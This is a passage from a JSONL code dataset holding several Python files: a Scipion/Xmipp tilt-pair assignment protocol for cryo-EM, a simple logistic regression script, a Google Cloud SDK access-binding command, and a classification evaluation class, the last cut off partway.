port.send(msg)\n","sub_path":"examples/helloworld_mido.py","file_name":"helloworld_mido.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"633547937","text":"# **************************************************************************\n# *\n# * Authors: Jose Luis Vilas (jlvilas@cnb.csic.es)\n# *\n# * Unidad de Bioinformatica of Centro Nacional de Biotecnologia , CSIC\n# *\n# * This program is free software; you can redistribute it and/or modify\n# * it under the terms of the GNU General Public License as published by\n# * the Free Software Foundation; either version 2 of the License, or\n# * (at your option) any later version.\n# *\n# * This program is distributed in the hope that it will be useful,\n# * but WITHOUT ANY WARRANTY; without even the implied warranty of\n# * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# * GNU General Public License for more details.\n# *\n# * You should have received a copy of the GNU General Public License\n# * along with this program; if not, write to the Free Software\n# * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA\n# * 02111-1307 USA\n# *\n# * All comments concerning this program package may be sent to the\n# * e-mail address 'jmdelarosa@cnb.csic.es'\n# *\n# **************************************************************************\n\nfrom os.path import split, splitext\n\nfrom pyworkflow.object import Float, String\nfrom pyworkflow.protocol.params import (PointerParam, FloatParam, EnumParam, STEPS_PARALLEL, LEVEL_ADVANCED)\nfrom pyworkflow.utils.path import makePath\nfrom pyworkflow.em.data_tiltpairs import TiltPair, CoordinatesTiltPair, Coordinate\nfrom pyworkflow.em import ProtParticlePicking\nfrom pyworkflow.em.packages.xmipp3 import XmippProtocol, readAnglesFromMicrographs\n\nimport xmipp\nfrom convert import readSetOfCoordinates, writeSetOfCoordinates, writeSetOfMicrographsPairs, izip\n\nTYPE_COORDINATES = 0\nTYPE_PARTICLES = 1\n\n\nclass XmippProtAssignmentTiltPair(ProtParticlePicking, XmippProtocol):\n \"\"\" \n From two sets of points (tilted and untilted) the protocol determines the affine transformation between\n these sets.\n \"\"\"\n _label = 'assignment tiltpair'\n \n def __init__(self, *args, **kwargs):\n ProtParticlePicking.__init__(self, *args, **kwargs)\n self.stepsExecutionMode = STEPS_PARALLEL\n \n #--------------------------- DEFINE param functions -------------------------------------------- \n def _defineParams(self, form):\n form.addSection(label='Input')\n form.addParam('tiltpair', PointerParam, pointerClass='MicrographsTiltPair',\n label=\"Micrograph tilt pair\", \n help='Select micrographs tilt pair.')\n \n form.addParam('typeOfSet', EnumParam, choices=['Coordinates', 'Particles'], \n default=0, label='Input type', display=EnumParam.DISPLAY_COMBO, \n help='Select a Set of Coordinates or a Set or Particles.')\n \n form.addParam('untiltCoor', PointerParam, pointerClass='SetOfCoordinates', \n label=\"Untilted coordinates\", condition='typeOfSet==%d' % TYPE_COORDINATES, \n help='Select the metadata with untilt coordinates.')\n \n form.addParam('tiltCoor', PointerParam, pointerClass='SetOfCoordinates', \n label=\"Tilted coordinates\", condition='typeOfSet==%d' % TYPE_COORDINATES, \n help='Select the metadata with tilt coordinates.')\n \n form.addParam('untiltPar', PointerParam, pointerClass='SetOfParticles', \n label=\"Untilted particles\", condition='typeOfSet==%d' % TYPE_PARTICLES,\n help='Select the metadata with untilt particles.')\n \n form.addParam('tiltPar', PointerParam, pointerClass='SetOfParticles', \n label=\"Tilted particles\", condition='typeOfSet==%d' % TYPE_PARTICLES, \n help='Select the metadata with tilt particles.')\n \n# form.addParam('boxsiz', FloatParam, default=100, \n# label=\"Box Size\", condition='typeOfSet==%d' % TYPE_PARTICLES, \n# help='Sometimes, particles do not have information about the particle size\\n,'\n# 'i.e. filtered by ZScore. In those cases, the particle size or box size is requiered \\n'\n# 'By default: boxSize = 100') \n \n form.addParam('tiltAngle', FloatParam, default=-1, expertLevel=LEVEL_ADVANCED,\n label=\"Tilt angle\", \n help='Tilt angle estimation, the method will look for the assignment in the\\n'\n ' interval of [tilt_angle-15, tilt_angle+15].\\n'\n 'By default: tilt angle = -1, if there is not any information about the tilt angle') \n \n form.addParam('threshold', FloatParam, default=0.25, expertLevel=LEVEL_ADVANCED,\n label=\"Threshold value\", \n help='Parameter between 0 and 1 that allows to define if \\n' \n 'a tilt point can be matched with a certain untilt point. \\n'\n 'The matching is performed only if the distance is lesser than \\n'\n 'threshold * particlesize.')\n\n form.addParam('maxShift', FloatParam, default=1500, expertLevel=LEVEL_ADVANCED,\n label=\"Maximum shift (pixels)\", \n help='Maximum allowed distance (in pixels) that the tilt micrograph can be shifted' \n 'respect to the untilted micrograph') \n\n form.addParallelSection(threads=1, mpi=1)\n\n #--------------------------- INSERT steps functions --------------------------------------------\n\n def _insertAllSteps(self): \n self.micsFn = self._getPath()\n #self.micsFn = self._getPath('input_micrographs.xmd')\n # Convert input into xmipp Metadata format\n convertId=self._insertFunctionStep('convertInputStep')\n deps = []\n for tiltPair in self.tiltpair.get():\n micUntilted = tiltPair.getUntilted()\n micTilted = tiltPair.getTilted()\n Unpath, Unname = split(micUntilted.getFileName())\n Unname, ext = splitext(Unname)\n Tpath, Tname = split(micTilted.getFileName())\n Tname, ext = splitext(Tname)\n fnUntilt = 'particles@'+self._getExtraPath(\"untilted/\")+Unname+'.pos'\n fnTilt = 'particles@'+self._getExtraPath(\"tilted/\")+Tname+'.pos'\n fnmicsize = tiltPair.getTilted().getFileName()\n fnposUntilt = 'particles@'+self._getExtraPath(\"\")+Unname+'.pos'\n fnposTilt = 'particles@'+self._getExtraPath(\"\")+Tname+'.pos'\n stepId = self._insertFunctionStep('assignmentStep',fnUntilt, fnTilt, fnmicsize, self._getExtraPath(),\n fnposUntilt, fnposTilt, self._getExtraPath(Unname), prerequisites=[convertId])\n \n# self._insertFunctionStep('estimateTiltAxisStep', fnposUntilt, fnposTilt, self._getExtraPath(Unname), prerequisites=[convertId])\n \n deps.append(stepId)\n \n self._insertFunctionStep('createOutputStep', prerequisites=deps)\n \n\n def convertInputStep(self):\n \"\"\" Read the input metadatata.\n \"\"\"\n # Get the converted input micrographs in Xmipp format\n makePath(self._getExtraPath(\"untilted\"))\n makePath(self._getExtraPath(\"tilted\"))\n \n\n \n if self.typeOfSet.get() == TYPE_PARTICLES:\n U_set = self.untiltPar.get().getCoordinates()\n T_set = self.tiltPar.get().getCoordinates()\n\n if (U_set or T_set) is None:\n U_set = self._createSetOfCoordinates(self.tiltpair.get().getUntilted(), \n suffix='_untilted')\n T_set = self._createSetOfCoordinates(self.tiltpair.get().getTilted(), \n suffix='_tilted')\n \n untiltPar = self.untiltPar.get()\n for particle_u in untiltPar: \n newCoord = particle_u.getCoordinate().clone()\n newCoord.copyObjId(particle_u)\n U_set.append(newCoord)\n#\n tiltPar = self.tiltPar.get()\n for particle_t in tiltPar:\n newCoord = particle_t.getCoordinate().clone()\n newCoord.copyObjId(particle_t)\n T_set.append(newCoord)\n\n aux = self.untiltPar.get()\n aux2 = aux[1]\n bos, y_, z_ = aux2.getDim()\n U_set.setBoxSize(bos)\n T_set.setBoxSize(bos)\n else:\n U_set = self.untiltCoor.get()\n T_set = self.tiltCoor.get() \n \n writeSetOfCoordinates(self._getExtraPath(\"untilted\"), U_set)\n writeSetOfCoordinates(self._getExtraPath(\"tilted\"), T_set)\n# writeSetOfMicrographsPairs(self.tiltpair.get().getUntilted(), \n# self.tiltpair.get().getTilted(), \n# self.micsFn)\n \n def assignmentStep(self,fnuntilt, fntilt, fnmicsize, Unpath, fnposUntilt, fnposTilt, opath):\n\n params = ' --untiltcoor %s' % fnuntilt \n params += ' --tiltcoor %s' % fntilt\n params += ' --tiltmicsize %s' % fnmicsize\n params += ' --maxshift %f' % self.maxShift.get()\n if self.typeOfSet.get() == TYPE_PARTICLES:\n aux = self.untiltPar.get()\n aux2 = aux[1]\n boxsize, y_, z_ = aux2.getDim()\n params += ' --particlesize %f' % boxsize \n else:\n params += ' --particlesize %f' % self.untiltCoor.get().getBoxSize()\n params += ' --threshold %f' % self.threshold.get()\n params += ' --odir %s' % Unpath\n\n\n nproc = self.numberOfMpi.get()\n nT=self.numberOfThreads.get() \n self.runJob('xmipp_image_assignment_tilt_pair', params, numberOfMpi=nproc,numberOfThreads=nT)\n \n\n \n self.estimateTiltAxis(fnposUntilt, fnposTilt)#, self.micsFn)\n\n \n \n def estimateTiltAxis(self, fnposUntilt, fnposTilt):#, opath):\n\n params = ' --untilted %s' % fnposUntilt \n params += ' --tilted %s' % fnposTilt\n params += ' -o %s' % self._getPath()+'/input_micrographs.xmd'\n\n self.runJob('xmipp_angular_estimate_tilt_axis', params)\n \n \n def createOutputStep(self):\n \n extradir = self._getExtraPath()\n inputset = self.tiltpair.get()\n uSet = inputset.getUntilted()\n tSet = inputset.getTilted()\n \n # Create Untilted and Tilted SetOfCoordinates\n uCoordSet = self._createSetOfCoordinates(uSet, suffix='Untilted')\n if self.typeOfSet.get() == TYPE_PARTICLES:\n# boxsize_u = self.untiltPar.get().getCoordinates().getBoxSize()\n# if boxsize_u is None:\n aux = self.untiltPar.get()\n aux2 = aux[1]\n boxsize_u, y_, z_ = aux2.getDim()\n else:\n boxsize_u = self.untiltCoor.get().getBoxSize()\n \n uCoordSet.setBoxSize(boxsize_u) \n tCoordSet = self._createSetOfCoordinates(tSet, suffix='Tilted')\n readSetOfCoordinates(extradir, uSet, uCoordSet)\n uCoordSet.write()\n \n if self.typeOfSet.get() == TYPE_PARTICLES:\n# boxsize_t = self.tiltPar.get().getCoordinates().getBoxSize()\n# if boxsize_t is None:\n aux = self.tiltPar.get()\n aux2 = aux[1]\n boxsize_t, y_, z_ = aux2.getDim()\n else:\n boxsize_t = self.tiltCoor.get().getBoxSize()\n \n tCoordSet.setBoxSize(boxsize_t)\n readSetOfCoordinates(extradir, tSet, tCoordSet)\n tCoordSet.write()\n \n\n setAngles = self._createSetOfAngles()\n pathangles = self.micsFn + '/input_micrographs.xmd'\n readAnglesFromMicrographs(pathangles, setAngles)\n \n setAngles.write()\n # Create CoordinatesTiltPair object\n outputset = CoordinatesTiltPair(filename=self._getPath('coordinates_pairs.sqlite'))\n outputset.setTilted(tCoordSet)\n outputset.setUntilted(uCoordSet)\n outputset.setAngles(setAngles)\n outputset.setMicsPair(inputset)\n outputset.setObjComment(self.getSummary(outputset))\n# print '-----------------------------'\n# print setAngles\n# print '-----------------------------'\n for coordU, coordT in izip(uCoordSet, tCoordSet):\n outputset.append(TiltPair(coordU, coordT))\n\n self._defineOutputs(outputCoordinatesTiltPair=outputset)\n self._defineSourceRelation(self.tiltpair, outputset)\n \n\n \n #--------------------------- INFO functions -------------------------------------------- \n def _validate(self):\n \n if self.typeOfSet.get() == TYPE_PARTICLES:\n validateMsgs = []\n if self.untiltPar.get() and not self.untiltPar.hasValue():\n validateMsgs.append('Please provide input particles.') \n if self.tiltPar.get() and not self.tiltPar.hasValue():\n validateMsgs.append('Please provide input particles.') \n return validateMsgs\n else:\n validateMsgs = []\n if self.untiltCoor.get() and not self.untiltCoor.hasValue():\n validateMsgs.append('Please provide input coordinates.') \n if self.tiltCoor.get() and not self.tiltCoor.hasValue():\n validateMsgs.append('Please provide input coordinates.') \n return validateMsgs\n \n \n \n def _summary(self):\n summary = []\n\n if (not hasattr(self,'outputCoordinatesTiltPair')):\n summary.append(\"Output tilpairs not ready yet.\")\n else:\n #summary.append(\"Particles matched: \" )\n if self.typeOfSet.get() == TYPE_PARTICLES:\n aux = self.untiltPar.get()\n aux2 = aux[1]\n boxsize_t, y_, z_ = aux2.getDim()\n summary.append(\"Particle box size: %d\" %boxsize_t)\n summary.append(\"Tilt pairs matched: %d\" %self.outputCoordinatesTiltPair.__len__())\n else:\n summary.append(\"Particle box size: %d\" %self.untiltCoor.get().getBoxSize())\n summary.append(\"Tilt pairs size: %d\" %self.outputCoordinatesTiltPair.__len__())\n #\n return summary\n \n \n def _methods(self):\n messages = []\n if (hasattr(self,'outputCoordinatesTiltPair')):\n messages.append('The assignment has been performed using and affinity transformation [Publication: Not yet]')\n return messages\n \n def _citations(self):\n return ['Not yet']\n \n def getSummary(self, coordsSet):\n summary = []\n summary.append(\"Particles picked:\")\n #summary.append(\"Particles picked: %d\" %coordsSet.getSize())\n return \"\\n\"#.join(summary)\n# \n \n ","sub_path":"pyworkflow/em/packages/xmipp3/protocol_assignment_tilt_pair.py","file_name":"protocol_assignment_tilt_pair.py","file_ext":"py","file_size_in_byte":15072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"323558204","text":"import math\nimport random\n\nraw_training=[]\nraw_target=[]\nraw_test=[]\nraw_test_ans=[]\ntest_pre=[]\nwith open(\"logicTraining.txt\",\"r\") as f_training:\n for line in f_training:\n line=line.split(',')\n line=list(map(int,line))\n raw_target.append(line.pop())\n line.pop(0)\n raw_training.append(line)\nwith open(\"logciTest.txt\",\"r\") as f_training:\n for line in f_training:\n line=line.split(',')\n line=list(map(int,line))\n raw_test_ans.append(line.pop())\n line.pop(0)\n raw_test.append(line)\n\ndef prediction(nums,weights):\n pre=0.0\n for num,weight in zip(nums,weights):\n pre=pre+num*weight\n result=1/(1+math.exp(-pre))\n return result\n\ndef logicReg(training,target,learnRate):\n weights=[]\n for i in range (9):\n weights.append(0)\n for ele,tar in zip(training,target):\n p=prediction(ele,weights)\n dlt=tar-p\n for i in range(9):\n weights[i]=weights[i]+learnRate*dlt*p*(1-p)*ele[i]\n return weights\ndef ConfusionMat(ans,pred):\n countnono=0\n countnoyes=0\n countyesno=0\n countyesyes=0\n for numa,nump in zip(ans,pred):\n if numa==4 and nump==4:\n countyesyes+=1\n elif numa==4 and nump==2:\n countyesno+=1\n elif numa==2 and nump==2:\n countnono+=1\n else:\n countnoyes+=1\n print (\"\\tpredict no \"+\" predict yes\")\n print (\"actual no: \"+repr(countnono)+\" \"+repr(countnoyes))\n print (\"actual yes: \"+repr(countyesno)+\" \"+repr(countyesyes))\n print (\"report: \\n\")\n\n precision4=float(countyesyes/(countyesyes+countnoyes))\n recall4=float(countyesyes/(countyesyes+countyesno))\n f1score4=float(2/(1/recall4+1/precision4))\n\n precision2=float(countnono/(countnono+countyesno))\n recall2=float(countnono/(countnono+countnoyes))\n f1score2=float(2/(1/recall2+1/precision2))\n print(\"\\tprecision\"+\" recall\"+\" f1-score\")\n print(\"2\\t\"+repr(precision2)+\" \"+repr(recall2)+\" \"+repr(f1score2))\n print(\"4\\t\"+repr(precision4)+\" \"+repr(recall4)+\" \"+repr(f1score4))\n\n\n\n\n\nlt=5e-5\ntestWeights=logicReg(raw_training,raw_target,lt)\nfor ele in raw_test:\n res=0\n for i in range(9):\n res=res+ele[i]*testWeights[i]\n if res>1:\n test_pre.append(4)\n else:\n test_pre.append(2)\nprint (\"confusion matrix \\n\")\nConfusionMat(raw_test_ans,test_pre)\n","sub_path":"logicalRegression.py","file_name":"logicalRegression.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"234238384","text":"# -*- coding: utf-8 -*- #\n# Copyright 2020 Google LLC. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"`gcloud access-context-manager cloud-bindings create` command.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import unicode_literals\n\nfrom googlecloudsdk.api_lib.accesscontextmanager import cloud_bindings as cloud_bindings_api\nfrom googlecloudsdk.calliope import base\nfrom googlecloudsdk.command_lib.accesscontextmanager import cloud_bindings\nfrom googlecloudsdk.command_lib.accesscontextmanager import levels\nfrom googlecloudsdk.command_lib.util.hooks import types\n\n\n@base.ReleaseTracks(base.ReleaseTrack.GA)\nclass CreateBindingGA(base.Command):\n \"\"\"Create a new cloud access binding.\"\"\"\n\n detailed_help = {\n 'DESCRIPTION':\n '{description}',\n 'EXAMPLES':\n \"\"\"\\\n To create a new cloud access binding, run:\n\n $ {command} --group-key=my-group-key --level=my-access-level\n \"\"\",\n }\n\n _API_VERSION = 'v1'\n\n @staticmethod\n def Args(parser):\n levels.AddResourceFlagArg(parser, 'to create')\n cloud_bindings.GetOrgArg().AddToParser(parser)\n cloud_bindings.GetGroupKeyArg().AddToParser(parser)\n\n def Run(self, args):\n client = cloud_bindings_api.Client(version=self._API_VERSION)\n org_ref = cloud_bindings.GetDefaultOrganization()\n if args.IsSpecified('organization'):\n org_ref = types.Resource('accesscontextmanager.organizations')(\n args.organization)\n\n level_ref = args.CONCEPTS.level.Parse()\n\n return client.Create(org_ref, args.group_key, level_ref)\n\n\n@base.ReleaseTracks(base.ReleaseTrack.ALPHA)\nclass CreateBindingAlpha(CreateBindingGA):\n \"\"\"Create a new cloud access binding.\"\"\"\n _API_VERSION = 'v1alpha'\n","sub_path":"google-cloud-sdk/lib/surface/access_context_manager/cloud_bindings/create.py","file_name":"create.py","file_ext":"py","file_size_in_byte":2276,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"282135698","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: ChaoMing (https://oujago.github.io/)\n\n@date: Created on 17-1-9\n\n@notes:\n \n\"\"\"\n\n\nclass EvalCls:\n def __init__(self, index2tag,\n metrics=('macro_acc', 'macro_recall', 'macro_f1', 'micro_acc'),\n aspects=('training', 'trained', 'valid', 'test'),\n metrics_to_choose_model=None,\n split_line_len=20):\n # get all tags\n self.index2tag = index2tag\n\n # get total metric index\n self.metric_index = {'micro': (-1, 0)}\n for i, tag in enumerate(index2tag + ['macro', 'micro']):\n self.metric_index['%s_acc' % tag] = (i, 0)\n self.metric_index['%s_recall' % tag] = (i, 1)\n self.metric_index['%s_f1' % tag] = (i, 2)\n\n # get evaluation metric index\n i, micro, metrics = 0, False, list(metrics)\n while i < len(metrics):\n if metrics[i] not in ['macro_acc', 'macro_recall', 'macro_f1']:\n if metrics[i] in ['micro_acc', 'micro_recall', 'micro_f1', 'micro']:\n micro = True\n metrics.remove(metrics[i])\n else:\n raise ValueError(\"Unknown metric: %s\" % metrics[i])\n else:\n i += 1\n if micro:\n metrics.append('micro_acc')\n self.metrics = metrics\n\n self.aspects = aspects\n\n self.history_evaluation_matrices = {}\n \"\"\"\n history_evaluation_matrices = {\n 'folder0': {\n \"training\": [eval_mat0, eval_mat1],\n 'trained': [eval_mat0, eval_mat1],\n 'valid': [eval_mat0, eval_mat1],\n 'test': [eval_mat0, eval_mat1]\n }\n 'folder1': {\n \"training\": [eval_mat0, eval_mat1],\n 'trained': [eval_mat0, eval_mat1],\n 'valid': [eval_mat0, eval_mat1],\n 'test': [eval_mat0, eval_mat1]\n }\n }\n \"\"\"\n\n self.history_confusion_matrices = {}\n \"\"\"\n history_confusion_matrices = {\n 'folder0': {\n \"training\": [conf_mat0, conf_mat1],\n 'trained': [conf_mat0, conf_mat1],\n 'valid': [conf_mat0, conf_mat1],\n 'test': [conf_mat0, conf_mat1]\n }\n 'folder1': {\n \"training\": [conf_mat0, conf_mat1],\n 'trained': [conf_mat0, conf_mat1],\n 'valid': [conf_mat0, conf_mat1],\n 'test': [conf_mat0, conf_mat1]\n }\n }\n \"\"\"\n\n self.history_losses = {}\n \"\"\"\n history_losses = {\n 'folder0': {\n \"training\": [],\n 'trained': [],\n 'valid': [],\n 'test': [],\n 'L1': [],\n 'L2': []\n }\n\n 'folder1': {\n \"training\": [],\n 'trained': [],\n 'valid': [],\n 'test': [],\n 'L1': [],\n 'L2': []\n }\n }\n \"\"\"\n\n self.split_line = \"---\" * split_line_len\n\n self.metrics_to_choose_model = metrics_to_choose_model or self.metrics\n\n @staticmethod\n def divide(a, b):\n if b == 0:\n # if a == 0:\n # return 1.\n # else:\n return 0.\n else:\n return a / b\n\n @staticmethod\n def get_confusion_matrix(predictions, origins, y_num):\n \"\"\"\n Get the value matrix, according to the predicted and original data.\n\n :param predictions:\n :param origins:\n :param y_num:\n \"\"\"\n assert predictions.shape == origins.shape\n\n res_matrix = np.zeros((y_num, y_num), dtype='int32')\n for i in range(len(predictions)):\n res_matrix[origins[i], predictions[i]] += 1\n return res_matrix\n\n @staticmethod\n def get_evaluation_matrix(confusion_matrix, beta=1):\n \"\"\"\n Get the evaluation matrix, according to the value matrix\n\n :param confusion_matrix: A confusion matrix\n :param beta: beta value\n :return:\n evaluation matrix ——\n precision, recall, F1\n 1st label : P R F1\n 2nd label : P R F1\n …… P R F1\n the last but one line : macro-P macro-R macro-F1\n the last line : micro-P micro-R micro-F1\n \"\"\"\n\n y_num = confusion_matrix.shape[0]\n res_matrix = np.zeros((y_num + 2, 3))\n\n # calculate each element precision, recall, F1\n for i in range(confusion_matrix.shape[0]):\n precision = EvalCls.divide(confusion_matrix[i, i], np.sum(confusion_matrix[:, i]))\n recall = EvalCls.divide(confusion_matrix[i, i], np.sum(confusion_matrix[i, :]))\n f1 = EvalCls.divide((1 + beta ** 2) * precision * recall, beta ** 2 * precision + recall)\n res_matrix[i, 0] = precision\n res_matrix[i, 1] = recall\n res_matrix[i, 2] = f1\n\n # calculate macro precision, recall, F1\n res_matrix[-2, :] = np.mean(res_matrix[:-2, :], axis=0)\n\n # calculate micro precision, recall, F1\n res_matrix[-1, :] = EvalCls.divide(np.sum(np.diag(confusion_matrix)), np.sum(confusion_matrix))\n\n return res_matrix\n\n @staticmethod\n def print_matrix(matrix, rows, columns, file=sys.stdout):\n \"\"\"\n Print the value matrix into the file.\n :param matrix:\n :param rows:\n :param columns:\n :param file:\n \"\"\"\n assert len(rows) == len(matrix) and len(columns) == len(matrix[0])\n gap = max([len(row) for row in rows] + [len(column) for column in columns]) + 1\n\n # print header\n runout = ' ' * gap\n for column in columns:\n runout += (\" \" * (gap - len(column)) + column)\n print(runout, file=file)\n\n # print each row\n for i in range(len(rows)):\n runout = ' ' * (gap - len(rows[i])) + rows[i]\n for value in matrix[i]:\n value = (\"%s\" % value)[:gap - 1]\n runout += (\" \" * (gap - len(value)) + value)\n print(runout, file=file)\n\n def add_history_confusion_matrix(self, history_name, aspect, confusion_mat):\n assert aspect in self.aspects\n\n if history_name not in self.history_confusion_matrices:\n self.history_confusion_matrices[history_name] = {}\n if aspect not in self.history_confusion_matrices[history_name]:\n self.history_confusion_matrices[history_name][aspect] = []\n self.history_confusion_matrices[history_name][aspect].append(confusion_mat)\n\n def add_history_evaluation_matrix(self, history_name, aspect, evaluation_mat):\n assert aspect in self.aspects\n\n if history_name not in self.history_evaluation_matrices:\n self.history_evaluation_matrices[history_name] = {}\n if aspect not in self.history_evaluation_matrices[history_name]:\n self.history_evaluation_matrices[history_name][aspect] = []\n self.history_evaluation_matrices[history_name][aspect].append(evaluation_mat)\n\n def add_history_loss(self, history_name, aspect, loss):\n assert aspect in self.aspects\n\n if history_name not in self.history_losses:\n self.history_losses[history_name] = {}\n if aspect == 'training':\n asp_loss_pairs = [('training', loss[0]), ('L1', loss[1]), ('L2', loss[2])]\n else:\n asp_loss_pairs = [(aspect, loss)]\n for asp, loss in asp_loss_pairs:\n if asp not in self.history_losses[history_name]:\n self.history_losses[history_name][asp] = []\n self.history_losses[history_name][asp].append(loss)\n\n def add_history(self, history_name, aspect, confusion_mat, evaluation_mat, loss):\n self.add_history_confusion_matrix(history_name, aspect, confusion_mat)\n self.add_history_evaluation_matrix(history_name, aspect, evaluation_mat)\n self.add_history_loss(history_name, aspect, loss)\n\n def output_epoch(self, history_name, epoch, end='; ', file=sys.stdout):\n # epoch\n epoch_runout = 'epoch %d' % epoch\n runout = epoch_runout + end\n # loss\n loss_runout = [\"%s:%.4f\" % (key, value[epoch])\n for key, value in sorted(self.history_losses[history_name].items())]\n runout += \"loss-[%s]; \" % (\" \".join(loss_runout))\n # aspects\n for aspect in self.aspects:\n matrix = self.history_evaluation_matrices[history_name][aspect][-1]\n aspect_runout = [\"%s:%.4f\" % (metric, matrix[self.metric_index[metric]])\n for metric in self.metrics]\n runout += \"%s-[%s]; \" % (aspect, \" \".join(aspect_runout))\n # print\n print(runout, file=file)\n\n def format_runout_matrix(self, matrix, rows, columns):\n output_lines = []\n\n # check\n assert len(rows) == len(matrix) and len(columns) == len(matrix[0])\n gap = max([len(row) for row in rows] + [len(column) for column in columns]) + 1\n\n # header\n header = ' ' * gap\n for column in columns:\n header += (\" \" * (gap - len(column)) + column)\n output_lines.append(header)\n\n # each row\n for i in range(len(rows)):\n row_runout = ' ' * (gap - len(rows[i])) + rows[i]\n for value in matrix[i]:\n value = (\"%s\" % value)[:gap - 1]\n row_runout += (\" \" * (gap - len(value)) + value)\n output_lines.append(row_runout)\n\n return output_lines\n\n def format_runout_history_metric_aspect(self, confusion_mat, evaluation_mat=None, matrix_desc=None):\n \"\"\"\n Output a value matrix.\n The functions for this functions are:\n 1, output the value matrix;\n 2, output the evaluation matrix;\n 3, return the final total accuracy and F1.\n\n :param confusion_mat:\n :param evaluation_mat:\n :param matrix_desc: matrix description\n :param file:\n \"\"\"\n output_lines = []\n\n # blank line\n output_lines.append(\"\")\n # split line\n output_lines.append(self.split_line)\n # matrix description\n output_lines.append(matrix_desc)\n # split line\n output_lines.append(self.split_line)\n # confusion matrix\n output_lines.extend(self.format_runout_matrix(confusion_mat, self.index2tag, self.index2tag))\n # split line\n output_lines.append(self.split_line)\n # evaluation matrix\n if evaluation_mat is None:\n evaluation_mat = self.get_evaluation_matrix(confusion_mat)\n output_lines.extend(self.format_runout_matrix(\n evaluation_mat, self.index2tag + ['macro', 'micro'], ('Precision', 'Recall', 'F1')))\n # return\n return output_lines\n\n def print_runout_history_metric(self, history_aspect_all_output_lines, file=sys.stdout):\n maxlen = max([len(line) for output_lines in history_aspect_all_output_lines for line in output_lines]) + 1\n\n for lines in zip(*history_aspect_all_output_lines):\n runout = ''\n for line in lines:\n runout += (line + \" \" * (maxlen - len(line)))\n print(runout, file=file)\n\n def output_bests(self, history_name, metrics=None, file=sys.stdout):\n metrics = metrics or self.metrics_to_choose_model\n for metric in metrics:\n best_epoch = self.get_best_epoch(history_name, metric)\n\n aspect_metric_all_output_lines = []\n for aspect in self.aspects:\n confusion_mat = self.history_confusion_matrices[history_name][aspect][best_epoch]\n evaluation_mat = self.history_evaluation_matrices[history_name][aspect][best_epoch]\n matrix_desc = \"name: %s, metric: %s, aspect: %s\" % (history_name, metric, aspect)\n output_lines = self.format_runout_history_metric_aspect(confusion_mat, evaluation_mat, matrix_desc)\n aspect_metric_all_output_lines.append(output_lines)\n self.print_runout_history_metric(aspect_metric_all_output_lines, file=file)\n\n def output_total_bests(self, metrics=None, file=sys.stdout):\n metrics = metrics or self.metrics_to_choose_model\n\n history_names = sorted(self.history_evaluation_matrices.keys())\n if len(history_names) == 1:\n return\n\n for metric in metrics:\n total_confusion_mats = {aspect: np.zeros((len(self.index2tag), len(self.index2tag)), dtype='int32')\n for aspect in self.aspects}\n for history_name in history_names:\n best_epoch = self.get_best_epoch(history_name, metric)\n for aspect in self.aspects:\n total_confusion_mats[aspect] += self.history_confusion_matrices[history_name][aspect][best_epoch]\n\n aspect_metric_all_output_lines = []\n for aspect in self.aspects:\n confusion_mat = total_confusion_mats[aspect]\n evaluation_mat = self.get_evaluation_matrix(confusion_mat)\n matrix_desc = \"name: total, metric: %s, aspect: %s\" % (metric, aspect)\n output_lines = self.format_runout_history_metric_aspect(confusion_mat, evaluation_mat, matrix_desc)\n aspect_metric_all_output_lines.append(output_lines)\n self.print_runout_history_metric(aspect_metric_all_output_lines, file=file)\n\n def get_best_epoch(self, history_name, metric, return_value=False):\n best_value = 0\n best_epoch = 0\n idx = self.metric_index[metric]\n\n i = 0\n for matrix in self.history_evaluation_matrices[history_name]['valid']:\n if matrix[idx] > best_value:\n best_epoch = i\n best_value = matrix[idx]\n i += 1\n\n if return_value:\n return best_epoch, best_value\n else:\n return best_epoch\n\n def plot_history_losses(self, filename):\n # variables\n filename = os.path.join(os.getcwd(), filename)\n history_num = len(self.history_losses)\n grid_row, grid_col = history_num, 1\n history_names = sorted(list(self.history_losses.keys()))\n\n # plots\n plt.figure(figsize=(10 * grid_col, 10 * grid_row)) # width, height\n for i, history_name in enumerate(history_names):\n aspect_values = self.history_losses[history_name]\n plt.subplot(grid_row, grid_col, i + 1)\n for aspect, value in aspect_values.items():\n value = np.array(value)\n if aspect in self.aspects:\n plt.plot(value, label=aspect)\n elif aspect in ['L1', 'L2']:\n if np.max(value) > 0.:\n plt.plot(value, label=aspect)\n plt.title(\"%s: loss\" % history_name)\n plt.legend(loc='best', fontsize='medium')\n plt.xlabel(\"Epoch\")\n plt.ylabel(\"Loss Value\")\n\n # save figure\n plt.savefig(check_duplicate_path(filename))\n plt.close()\n\n def plot_history_evaluations(self, filename, metrics=None, mark_best=False):\n # metrics\n if metrics is None:\n metrics = self.metrics\n elif type(metrics).__name__ in ['tuple', 'list']:\n metrics = metrics\n elif type(metrics).__name__ == 'str' and metrics in self.index2tag:\n metrics = [\"%s_%s\" % (metrics, a) for a in ['acc', 'recall', 'f1']]\n else:\n raise ValueError(\"\")\n\n # variables\n filename = os.path.join(os.getcwd(), filename)\n history_num = len(self.history_evaluation_matrices)\n grid_row, grid_col = history_num, len(self.aspects)\n history_names = sorted(self.history_evaluation_matrices.keys())\n\n # plots\n plt.figure(figsize=(10 * grid_col, 10 * grid_row)) # width, height\n for i, history_name in enumerate(history_names):\n aspect_values = self.history_evaluation_matrices[history_name]\n metric_best_epoch = {metric: self.get_best_epoch(history_name, metric) for metric in metrics}\n for j, aspect in enumerate(self.aspects):\n plt.subplot(grid_row, grid_col, 